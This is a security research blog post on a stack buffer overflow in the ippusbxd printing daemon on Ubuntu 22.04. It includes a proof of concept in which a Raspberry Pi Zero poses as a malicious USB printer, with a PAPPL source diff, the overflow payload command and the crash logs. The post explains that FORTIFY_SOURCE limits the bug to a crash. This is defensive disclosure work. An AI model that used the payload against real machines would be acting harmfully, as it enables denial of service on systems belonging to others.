By Aleksandar Nikolich

Earlier this year, we conducted code audits of the macOS printing subsystem, which is heavily based on the open-source CUPS package. During this investigation, IPP-USB protocol caught our attention. IPP over USB specification defines how printers that are available over USB can only still support network printing via Internet Printing Protocol (IPP). After wrapping up the macOS investigation, we decided to take a look at how other operating systems handle the same functionality. 

Our target Linux system was running Ubuntu 22.04, a long-term support (LTS) release that handled IPP-USB via the “ippusbxd” package. This package is part of the OpenPrinting suite of printing tools that was under a lot of scrutiny recently due to several high severity vulnerabilities in different components. Publicity around these issues has caused undue stress on the OpenPrinting suite maintainers, so, although the potential vulnerability we are about to discuss is very real, mitigating circumstances make it less severe. The vulnerability is discovered and made unexploitable by modern compiler features, and we are highlighting this rare win. Additionally, the “ippusbxd” package is replaced by a safer “ipp-usb” solution, making exploitation of this vulnerability less likely.

Discovering the vulnerability

On Ubuntu-flavored Linux systems, when a new USB printer is plugged in, UDEV subsystem will invoke an IPP-USB handler to enable IPP-USB functionality. In Ubuntu 22.04, this is “ippusbxd” daemon, which handles communication with the printer, announces it to the network over DNS-SD, and makes it available on a network port. As this has a potential for an interesting attack surface, it piqued our interest.

The first step when getting familiar with a code base is to try to build it. While doing so, we were presented with the following message:

In file included from /usr/include/string.h:495,
                 from ippusbxd-1.34/src/capabilities.c:9:
In function ‘strncpy’,
    inlined from ‘get_format_paper’ at ippusbxd-1.34/src/capabilities.c:205:9:
/usr/include/x86_64-linux-gnu/bits/string_fortified.h:106:10: warning: ‘__builtin___strncpy_chk’ 
              specified bound depends on the length of the source argument [-Wstringop-overflow=]
  106 |   return __builtin___strncpy_chk (__dest, __src, __len, __bos (__dest));
      |          ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ippusbxd-1.34/src/capabilities.c: In function ‘get_format_paper’:
ippusbxd-1.34/src/capabilities.c:204:13: note: length computed here
  204 |         a = strlen(val) - strlen(tmp);
      |             ^~~~~~~~~~~
In file included from /usr/include/string.h:495,
                 from ippusbxd-1.34/src/capabilities.c:9: 

Above is a compiler warning, enabled by “-Wstringop-overflow”, which performs lightweight static code analysis during compilation to catch common memory corruption issues. In this particular case, the compiler is telling us that there exists a potential vulnerability in the highlighted code. Essentially, compiler analysis has judged that a length argument to a “strncpy” call is based on the length of the source operand instead of the destination operand. This is a classic case of a stack-based buffer overflow involving the “strcpy” family of functions. 

To confirm that this is indeed a true positive finding, we looked at code context:

char test1[255] = { 0 };
       char test2[255] = { 0 };
       char *tmp = strchr(val, '=');
       if (!tmp) continue;
       a = strlen(val) - strlen(tmp);           
       val+=(a + 1);
       tmp = strchr(val, ' ');
       if (!tmp) continue;
       a = strlen(val) - strlen(tmp);                                    
       strncpy(test2, val, a);                 

The above excerpt is in the part of the code that is trying to parse paper dimensions supported by the printer. Expected input would be:

{ x-dimension=1234 y-dimension=1234 }

Calls to “strlen” are used to calculate the length of the incoming numerical values, and the code can indeed result in a straightforward buffer overflow if the value specified in ”y-dimension” is longer than the buffer can hold.

Looking up the users of the offending code reveals that it’s only used during printer initialization, while interrogating printer capabilities:

int
ipp_request(ippPrinter *printer, int port)
{
  http_t    *http = NULL; 
  ipp_t *request, *response = NULL;
  ipp_attribute_t *attr;
  char uri[1024];
  char buffer[1024];
  /* Try to connect to IPP server */
  if ((http = httpConnect2("127.0.0.1", port, NULL, AF_UNSPEC,
               HTTP_ENCRYPTION_IF_REQUESTED, 1, 30000, NULL)) == NULL) {
    printf("Unable to connect to 127.0.0.1 on port %d.\n", port);
    return 1;
  }
  snprintf(uri, sizeof(uri), "http://127.0.0.1:%d/ipp/print", port);
  /* Fire a Get-Printer-Attributes request */
  request = ippNewRequest(IPP_OP_GET_PRINTER_ATTRIBUTES);
  ippAddString(request, IPP_TAG_OPERATION, IPP_TAG_URI, "printer-uri",
                 NULL, uri);
  response = cupsDoRequest(http, request, "/ipp/print");

In other words, this vulnerability would be triggered if a printer connected to a machine’s USB port reports supporting abnormally large media size

The compiler was right, this indeed constitutes a vulnerability. If exploited against a locked laptop, it could result in arbitrary code execution in a process with high privileges. 

Developing a proof of concept

To prove the existence and severity of this vulnerability, we need to develop a proof of concept (PoC) exploit. Since triggering this vulnerability technically requires a malicious printer being physically connected to the USB port, we have some work to do. 

An obvious route for implementing this is by using Linux USB Gadget API. The Linux USB Gadget API allows developers to create custom software-defined USB devices (i.e., gadgets). It enables device emulation, interface management, and communication protocol handling for virtual devices. In this scenario, an embedded Linux system acts as a USB device, instead of a USB host, and emulates desired functionality. Gadget drivers emulating an ethernet network interface or mass storage device are readily available in all Linux systems, and small single board computers can be used for this purpose. Among these, Raspberry Pi Zero fits all the requirements. 

Implementing a whole emulated USB printer would require significant effort, but PAPPL (a project related to OpenPrinting) already implements a featureful printer gadget that we can easily repurpose. A minimal modification to the source code is required to make the emulated printer report malicious media dimensions:

diff --git a/pappl/printer-driver.c b/pappl/printer-driver.c
index 10b7fda..b872865 100644
--- a/pappl/printer-driver.c
+++ b/pappl/printer-driver.c
@@ -747,6 +747,7 @@ make_attrs(
       ippDelete(cvalues[i]);
   }
+  ippAddString(attrs, IPP_TAG_PRINTER, IPP_CONST_TAG(IPP_TAG_KEYWORD), "media-size-supported",  NULL, getenv("EXPLOIT_STRING"));                      [5]
   // media-col-supported
   memcpy((void *)svalues, media_col, sizeof(media_col));
diff --git a/testsuite/testpappl.c b/testsuite/testpappl.c
index 460058d..7972cb6 100644
--- a/testsuite/testpappl.c
+++ b/testsuite/testpappl.c
@@ -812,7 +812,7 @@ main(int  argc,                             // I - Number of command-line arguments
     }
     else
     {
-      printer = papplPrinterCreate(system, /* printer_id */0, "Office Printer", "pwg_common-300dpi-600dpi-srgb_8", "MFG:PWG;MDL:Office Printer;", device_uri);
+      printer = papplPrinterCreate(system, /* printer_id */0, "Office Printer", "pwg_common-300dpi-600dpi-srgb_8", "MFG:PWG;MDL:Office Printer;CMD:pwg;", device_uri);         [4]
       papplPrinterSetContact(printer, &contact);
       papplPrinterSetDNSSDName(printer, "Office Printer");
       papplPrinterSetGeoLocation(printer, "geo:46.4707,-80.9961");

In the above code, we instruct the emulated printer to use contents of the “EXPLOIT_STRING” environment variable as its “media-size-supported” payload. 

To set up the trigger, we first set the `EXPLOIT_STRING` to contain our buffer overflow payload:

export EXPLOIT_STRING=`perl -e 'print "{x=a y=" . "A"x600 . " }"'`

Above will report `y` dimension to have a series of 600 A characters--enough to overflow both stack buffers and cause a crash. 

Then, we run the following on our Raspberry Pi Zero device:

testsuite/testpappl -U -c -1 -L debug -l - --usb-vendor-id 0xeaea --usb-product-id 0xeaea

The above command, using a utility from PAPPL suite, sets up an emulated USB printer device that will, when connected via USB to our target machine, deliver our buffer overflow payload. 

The next step is to simply connect the Raspberry Pi Zero device to the target and observe the effect:

[520463.829183] usb 3-1: new high-speed USB device number 85 using xhci_hcd
[520463.977791] usb 3-1: New USB device found, idVendor=eaea, idProduct=eaea, bcdDevice= 4.19
[520463.977800] usb 3-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[520463.977804] usb 3-1: Product: Office Printer
[520463.977807] usb 3-1: Manufacturer: PWG
[520463.977809] usb 3-1: SerialNumber: 0
[520463.979354] usblp 3-1:1.0: usblp0: USB Bidirectional printer dev 85 if 0 alt 0 proto 2 vid 0xEAEA pid 0xEAEA
[520464.014666] usblp0: removed
[520464.020827] ippusbxd[647107]: segfault at 0 ip 00007f9886cd791d sp 00007ffe5965e558 error 4 in libc.so.6[7f9886b55000+195000]
[520464.020839] Code: 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 89 f8 48 89 fa c5 f9 ef c0 25 ff 0f 00 00 3d e0 0f 00 00 0f 87 23 01 00 00 <c5> fd 74 0f c5 fd d7 c1 85 c0 74 57 f3 0f bc c0 e9 2c 01 00 00 66

The above debug log shows that a segmentation fault has occurred in `ippusbxd` daemon as expected, signifying that we have successfully triggered this vulnerability.

FORTIFY_SOURCE

However, closer inspection of the binary and the crash reveals the following:

<-195299776>Note: TCP: sent 1833 bytes
<-228919744>Note: Thread #2: No read in flight, starting a new one
*** buffer overflow detected ***: terminated
Thread 4 "ippusbxd" received signal SIGABRT, Aborted.
[Switching to Thread 0x7ffff3dbe640 (LWP 649455)]
__pthread_kill_implementation (no_tid=0, signo=6, threadid=140737284662848) at ./nptl/pthread_kill.c:44
44      ./nptl/pthread_kill.c: No such file or directory.
(gdb) bt
#0  __pthread_kill_implementation (no_tid=0, signo=6, threadid=140737284662848) at ./nptl/pthread_kill.c:44
#1  __pthread_kill_internal (signo=6, threadid=140737284662848) at ./nptl/pthread_kill.c:78
#2  __GI___pthread_kill (threadid=140737284662848, signo=signo@entry=6) at ./nptl/pthread_kill.c:89
#3  0x00007ffff7aea476 in __GI_raise (sig=sig@entry=6) at ../sysdeps/posix/raise.c:26
#4  0x00007ffff7ad07f3 in __GI_abort () at ./stdlib/abort.c:79
#5  0x00007ffff7b31676 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7c8392e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:155
#6  0x00007ffff7bde3aa in __GI___fortify_fail (msg=msg@entry=0x7ffff7c838d4 "buffer overflow detected") at ./debug/fortify_fail.c:26
#7  0x00007ffff7bdcd26 in __GI___chk_fail () at ./debug/chk_fail.c:28
#8  0x00007ffff7bdc769 in __strncpy_chk (s1=s1@entry=0x7ffff3dbd090 "", s2=s2@entry=0x7ffff3dbd5f7 'A' <repeats 200 times>..., n=n@entry=601, s1len=s1len@entry=255) at ./debug/strncpy_chk.c:26
#9  0x000055555555f502 in strncpy (__len=601, __src=0x7ffff3dbd5f7 'A' <repeats 200 times>..., __dest=0x7ffff3dbd090 "") at /usr/include/x86_64-linux-gnu/bits/string_fortified.h:95
#10 get_format_paper (val=0x7ffff3dbd5f7 'A' <repeats 200 times>..., val@entry=0x7ffff3dbd5f0 "{x=a y=", 'A' <repeats 193 times>...) at ./ippusbxd_testing/ippusbxd-1.34/src/capabilities.c:220
#11 0x000055555555fa62 in ipp_request (printer=printer@entry=0x7fffec000b70, port=<optimized out>) at ./ippusbxd_testing/ippusbxd-1.34/src/capabilities.c:297
#12 0x000055555555d07c in dnssd_escl_register (data=0x5555555a77e0) at ./ippusbxd_testing/ippusbxd-1.34/src/dnssd.c:226
#13 0x00007ffff7b3cac3 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#14 0x00007ffff7bce660 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81

What caused the crash wasn’t directly the buffer overflow that overwrote stack content causing memory corruption. Nor was it stack smashing protection, a probabilistic mitigation that can be bypassed under certain conditions. In this case, the crash was caused by explicit program termination due to a detected condition for buffer overflow before it happened. This detection is the result of a compiler feature called “FORTIFY_SOURCE”, which replaces common error-prone functions with safer versions automatically. This means that the vulnerability is strongly mitigated and isn’t exploitable beyond causing a crash. 

Conclusion

We often hear of all the failings of software and vulnerabilities and mitigation bypasses, and we felt we should take this opportunity to highlight the opposite. In this case, modern compiler features, static analysis via -Wstringop-overflow and strong mitigation via FORTIFY_SOURCE, saved the day. These should always be enabled by default. Additionally, those compiler warnings are only useful if someone actually reads them. 

In this case, the impact of this vulnerability would be minor even if it were widely exploitable. The `ippusbxd` package development was abandoned in favor of a superior implementation via the “ipp-usb package implemented in a memory safe language that would prevent these sorts of issues from occurring in the first place. Developers readily point out that `ippusbxd` has been surpassed by `ipp-usb`, isn’t maintained, and isn’t used by any operating system. Ubuntu 22.04 being a long-term support version is an exception. Newer versions have switched to using `ipp-usb`.